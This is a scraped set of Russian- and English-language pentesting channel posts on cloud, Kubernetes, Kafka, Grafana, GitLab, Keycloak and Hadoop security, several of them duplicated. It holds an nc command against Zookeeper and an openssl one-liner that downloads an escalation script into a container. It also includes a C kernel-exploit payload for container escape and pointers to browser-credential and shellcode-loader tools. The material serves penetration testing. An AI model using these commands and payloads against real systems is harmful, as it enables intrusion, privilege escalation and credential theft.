Multi-Cloud tools
Инструменты для тестирования облачных сред
Представление инфраструктурных объектов и связей между ними в виде графа Neo4j
Дополнительный список cloud-sec инструментов - Link
Инструменты для тестирования облачных сред
* PurplePanda - поиск миссконфигов и privesc. Cloud/SaaS
* Prowler - проведение аудитов, реагирование на инциденты и многое другое в таких средах, как AWS, Azure, GCP и Kubernetes
* CloudSploit by Aqua - Cloud Security Scans
* ScoutSuite - Multi-Cloud Security Auditing Tool
Представление инфраструктурных объектов и связей между ними в виде графа Neo4j
* cartography
* starbase
* IceKube
* KubeHound
Дополнительный список cloud-sec инструментов - Link
🤯2
❤3
Kafka pentest
Common notes - Link
Kafka UI RCE - Link
Misconfigurations & Hardening - Link
Zookeeper
Работает на TCP 2181 и по умолчанию доступен без аутентификации. Позволяет получить статистику о кластере, информацию об узлах, выключить сервер и т.д
Все команды:
Отправить команду:
Metasploit Module - Link
Common notes - Link
Kafka UI RCE - Link
Misconfigurations & Hardening - Link
Zookeeper
Работает на TCP 2181 и по умолчанию доступен без аутентификации. Позволяет получить статистику о кластере, информацию об узлах, выключить сервер и т.д
Все команды:
dump: Lists the outstanding sessions and ephemeral nodes. This only works on the leader.
envi: Print details about serving environment
kill: Shuts down the server. This must be issued from the machine the ZooKeeper server is running on
reqs: List outstanding requests
ruok: Tests if server is running in a non-error state. The server will respond with imok if it is running. Otherwise it will not respond at all
srst: Reset statistics returned by stat command
stat: Lists statistics about performance and connected clients
Отправить команду:
echo urok | nc 192.168.1.1 2181
Metasploit Module - Link
msf > use auxiliary/gather/zookeeper_info_disclosure
Bugb
9092 - Pentesting Kafka
Getting startedKafka is an open-source distributed event streaming platform that is commonly used for building real-time data pipelines and streaming applications. It is designed to handle high-throughput, fault-tolerant, and scalable data streaming. Below…
❤3🤯2🐳1
Grafana pentest
Известно, что с помощью уже созданных data sources можно получить доступ к ресурсам, к которым ходит графана
Примеры:
Grafana Remote Command Execution Through SQL Server
SQL Injection by Default in Grafana (HTB — Jupiter)
Но так же можно создать свой собственный data source и отправлять запросы от лица графаны, с помощью api метода proxy - https://spells.cr4.sh/pentest/infra/cloud-and-linux/grafana
Известно, что с помощью уже созданных data sources можно получить доступ к ресурсам, к которым ходит графана
Примеры:
Grafana Remote Command Execution Through SQL Server
SQL Injection by Default in Grafana (HTB — Jupiter)
Но так же можно создать свой собственный data source и отправлять запросы от лица графаны, с помощью api метода proxy - https://spells.cr4.sh/pentest/infra/cloud-and-linux/grafana
Medium
Grafana Remote Command Execution Through Microsoft SQL Server
Today I was conducting internal penetration testing for a mid-size company when I came across a Grafana(v10) instance with default admin…
❤8🐳3
Gitlab checks
* Reconnaissance - Link
* Abusing GitLab Runners - Link
* Script for steal tasks by requesting them faster than a real runner - Link
GitHub
GitHub - Frichetten/gitlab-runner-research: Research on abusing GitLab Runners
Research on abusing GitLab Runners. Contribute to Frichetten/gitlab-runner-research development by creating an account on GitHub.
❤1
Docker Escape
Tools
articles
7 Ways to Escape a Container - Обзор 7 распространенных техник побега из контейнера, их минимальных требований к capabilities и примеры уязвимых конфигураций контейнеров
All You Need is Cap - Похожий ресерч, также содержит примеры уязвимых конфигураций контейнеров внутри подов
Tools
* deepce - noscript for Enumeration, Escalation of Privileges and Container Escapes written in pure sh
* CDK - K8s, Docker penetration toolkit
* botb - analysis and exploitation tool also being CI/CD friendly with common CI/CD technologies
* amicontained - Useful tool to get the privileges the container has in order to find ways to escape from it
* grype - Get the CVEs contained in the software installed in the image
* linpeas - It can also enumerate containers
articles
7 Ways to Escape a Container - Обзор 7 распространенных техник побега из контейнера, их минимальных требований к capabilities и примеры уязвимых конфигураций контейнеров
All You Need is Cap - Похожий ресерч, также содержит примеры уязвимых конфигураций контейнеров внутри подов
GitHub
GitHub - stealthcopter/deepce: Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE) - stealthcopter/deepce
❤4🐳1
Bring file to container without curl/wget etc
you can send http requests using OpenSSL
Download deepce
Download from inside a container using only bash
Corrected noscript to work properly with python server - Link
you can send http requests using OpenSSL
Download deepce
(echo -ne "GET /stealthcopter/deepce/main/deepce.sh HTTP/1.1\r\nHost: raw.githubusercontent.com\r\nConnection: close\r\n\r\n"; sleep 3) | openssl s_client -connect raw.githubusercontent.com:443 -quiet > deepce.sh
Download from inside a container using only bash
Corrected noscript to work properly with python server - Link
cd /tmp
tee -a getFile.sh
<copy+paste the contents of the getFile.sh noscript>
<hit enter and the ctrl-d/cmd-d>
cat getFile.sh
URL=http://localhost:8000/file OUTPUT=file ./get.sh
Medium
Download from inside a container using only bash
without curl or wget
❤5🐳1
Nginxpwner - is a simple tool to look for common Nginx misconfigurations and vulnerabilities
Install using Docker
It actually checks for
Install using Docker
git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
sudo docker build -t nginxpwner:latest .
sudo docker run -it nginxpwner:latest /bin/bash
It actually checks for
* Gets Ngnix version and gets its possible exploits using searchsploit and tells if it is outdated
* Throws a wordlist specific to Nginx via gobuster
* Checks if it is vulnerable to CRLF via a common misconfiguration of using $uri in redirects
* Checks for CRLF in all of the paths provided
* Checks if the PURGE HTTP method is available from the outside
* Checks for variable leakage misconfiguration
etc
❤2🐳1
darkPulse
darkPulse is a shellcode packer written in Go that is used to create various shellcode loaders
darkPulse is a shellcode packer written in Go that is used to create various shellcode loaders
❤4🐳1
Netfetch
Scan your Kubernetes clusters to identifiy unprotected workloads and map your existing Network policies
Link
Scan your Kubernetes clusters to identifiy unprotected workloads and map your existing Network policies
* Visualize network policies and pods in a interactive network map
* Scan cluster identify pods without network policies
* Create default deny network policies where this is missing
* Get suggestions for network policies based on existing workloads
Link
❤4🐳1
SCCMHunter
SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain
contains modules such as
Link
SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain
contains modules such as
* admin
* dpapi
* http
* mssql
* smb
Link
GitHub
GitHub - garrettfoster13/sccmhunter: SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM…
SCCMHunter is a post-ex tool built to streamline identifying, profiling, and attacking SCCM related assets in an Active Directory domain. - GitHub - garrettfoster13/sccmhunter: SCCMHunter is a pos...
🤯2❤1
Keycloak pentest
Articles
Part 1 - Link
Part2 - Link
Tools
Keycloak security scanner - Link
* Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (
Articles
Part 1 - Link
* Am I Testing Keycloak?
* Keycloak Version Information
* OpenID Configuration /SAML Denoscriptor
* Realms (Enumeration && Self-Registration Enabled)
* Client IDs
* Scopes
* Grants
* Identity Providers
* Roles
* User Email Enumeration
Part2 - Link
Reconnaissance
* Additional Services and Ports
* Interesting Local Files
* Reconnaissance Conclusion
Exploitation
* Brute Force Login
* Bypassing/Automating CSRF
* JWT Signing Algorithms
* Make the most out of your scopes/roles
* offline_access
* uma_authorization
* profile
* address
* phone
Tools
Keycloak security scanner - Link
* Начиная с keycloak 17.0+ роут /auth в URL должен быть пропущен (
/realms/realm_name/)Csacyber
Pentesting Keycloak Part 1: Identifying Misconfiguration Using Risk Management Tools
Keycloak is an open-source Identity and Access Management (IAM) solution. It allows easy implementation of single sign-on for web applications and APIs.
❤5🤯2🐳2
HackBrowserData is a command-line tool for decrypting and exporting browser data
It supports the most popular browsers on the market and runs on Windows, macOS and Linux
Link
* passwords
* history
* cookies
* bookmarks
* download history
* localStorage
* extensions
It supports the most popular browsers on the market and runs on Windows, macOS and Linux
Link
GitHub
GitHub - moonD4rk/HackBrowserData: Extract and decrypt browser data, supporting multiple data types, runnable on various operating…
Extract and decrypt browser data, supporting multiple data types, runnable on various operating systems (macOS, Windows, Linux). - moonD4rk/HackBrowserData
❤3🐳2
Kubernetes security fundamentals
Introduction
API Security
Authentication
Authorization
Admission Control
Networking
Introduction
* Complications of talking about Kubernetes security
* Managed and unmanaged Kubernetes distributions
* Areas of discussion
API Security
* Kubernetes components and ports
- Unmanaged Kubernetes
- Managed Kubernetes
* Securing Kubernetes APIs
Authentication
* Kubernetes authentication principles
- Internal Kubernetes authentication methods
- Static token authentication
- Bootstrap tokens
- X.509 client certificates
- Service account tokens
* External authentication methods
- OpenID Connect (OIDC)
- Webhook token authentication
- Authenticating proxy
- Impersonating proxy
* Authentication for other Kubernetes components
- Kubelet
- Controller manager and scheduler
- Kube-proxy
- Etcd
Authorization
* Kubernetes authorization principles
* Kubernetes authorization modules
- AlwaysAllow and AlwaysDeny
- Node Authorizer
- ABAC
- RBAC
- Webhook
* Authorization for other Kubernetes components
- Kubelet
- Scheduler and Controller Manager
Admission Control
* Admission control overview
- Internal admission controllers
- External admission controllers
* Risks of implementing external admission control
- Using admission control for pod security
Networking
* Network trust zones
* Introduction to CNI
* Managing network access in Kubernetes
* Securing the cluster network
* Conclusion
* Appendix - Setting up a demonstration environment
Datadoghq
Kubernetes security fundamentals: Introduction
Introducing a new series of posts on Kubernetes security fundamentals with a discussion of some of the complexities of Kubernetes security.
❤3🐳3🤯1
Hadoop pentest
Hadoop Attack Library - A collection of pentest tools and resources targeting Hadoop environments
This repository is composed of two kind of information and organised accordingly:
Apache Hadoop Pentesting - Exploits notes with the following sections
Hadoop Attack Library - A collection of pentest tools and resources targeting Hadoop environments
This repository is composed of two kind of information and organised accordingly:
* Tools, Techniques and Procedures to attack an Hadoop environment
* Key vulnerabilities on Hadoop components (Hadoop Common, HDFS, YARN etc.)
* Key vulnerabilities in third-party components often used in Hadoop environments
Apache Hadoop Pentesting - Exploits notes with the following sections
* Authenticate using Keytab
* Impersonate Another Hadoop Service
* HDFS Command Cheat Sheet
* RCE
GitHub
GitHub - wavestone-cdt/hadoop-attack-library: A collection of pentest tools and resources targeting Hadoop environments
A collection of pentest tools and resources targeting Hadoop environments - wavestone-cdt/hadoop-attack-library
❤8🐳1
Nmap-did-what
Nmap-did-what is a Grafana docker container and a Python noscript to parse Nmap XML output to an SQLite database. The SQLite database is used as a datasource within Grafana to view the Nmap scan details in a dashboard.
The project consists of two main components:
Link
Nmap-did-what is a Grafana docker container and a Python noscript to parse Nmap XML output to an SQLite database. The SQLite database is used as a datasource within Grafana to view the Nmap scan details in a dashboard.
The project consists of two main components:
* A Python noscript that parses Nmap XML output and stores the data in an SQLite database.
* A Grafana Docker container with a pre-configured dashboard for visualizing the Nmap scan data.
Link
❤4
Container escape using kernel exploitation & Seccomp bypass via manipulating the container’s namespaces
exploit from article
The above code can be used in any future privilege escalation vulnerability found in the Linux kernel to escape a containerized environment.
Link
exploit from article
void get_root_payload( void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
);
// -------- NAMESPACE DOCKER EXPLOIT --------
// copy nsproxy from init_nsproxy to pid 1 of the container
unsigned long long g = ((_find_task_vpid)(FIND_TASK))(1);
// now, do the magic.... !!!! Simple black magic doesn't work on current process!!!!
((_switch_task_namespaces)(SWITCH_TASK_NS))(( void *)g, (void *)INIT_NSPROXY);
// prepare the two namespace FDs by opening the respective files
long fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/mnt", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);
fd = ((_do_sys_open)(DO_SYS_OPEN))( AT_FDCWD, "/proc/1/ns/pid", O_RDONLY, 0);
((_sys_setns)(SYS_SETNS))( fd, 0);
}The above code can be used in any future privilege escalation vulnerability found in the Linux kernel to escape a containerized environment.
Link
Cyberark
The Route to Root: Container Escape Using Kernel Exploitation
Follow an imaginary cyber attacker as she tries to escape a container using kernel exploitation -- with and without root access.
❤4🐳2
IngressNightmare
Уязвимость существует на этапе проверки Admission Controller'ом входящего объекта Ingress, из которого создается конфигурация Nginx и проверяется с помощью
Detect exposed Ingress NGINX Admission Controller - Nuclei Template
Create admission review requests from Ingress resource manifests, which could then be sent directly to the admission controller via HTTP - kube-review
PoC
Full WIZ research - IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX
Уязвимость существует на этапе проверки Admission Controller'ом входящего объекта Ingress, из которого создается конфигурация Nginx и проверяется с помощью
nginx -t, что ведет кCVE-2025-24514 - auth-url Annotation Injection
CVE-2025-1097 - auth-tls-match-cn Annotation Injection
CVE-2025-1098 - mirror UID Injection
CVE-2025-1974 - NGINX Configuration Code Execution
Detect exposed Ingress NGINX Admission Controller - Nuclei Template
Create admission review requests from Ingress resource manifests, which could then be sent directly to the admission controller via HTTP - kube-review
PoC
Full WIZ research - IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX
wiz.io
CVE-2025-1974: The IngressNightmare in Kubernetes | Wiz Blog
Wiz Research uncovered RCE vulnerabilities (CVE-2025-1097, 1098, 24514, 1974) in Ingress NGINX for Kubernetes allowing cluster-wide secret access.
❤4🤯1🐳1
Gitlab CI/CD
Attacking GitLab CI/CD via Shared Runners
Link
Attacking GitLab CI/CD via Shared Runners
* A Standard Poisoned Pipeline
* Shared Docker-in-Docker Runners and Privileged Containers
* The Shared Instance-Level Runner
* Attacking Docker-in-Docker Shared Runners
* Remediation - Hardening the CI/CD Infra
* Shell Executors
Link
Pulse Security
OMGCICD - Attacking GitLab CI/CD via Shared Runners
This article discusses compromising shared CI/CD runner infrastructure, and how an attacker can escalate their privileges from basic source-repository access to compromising the environments the wider system is deploying.
🐳3❤1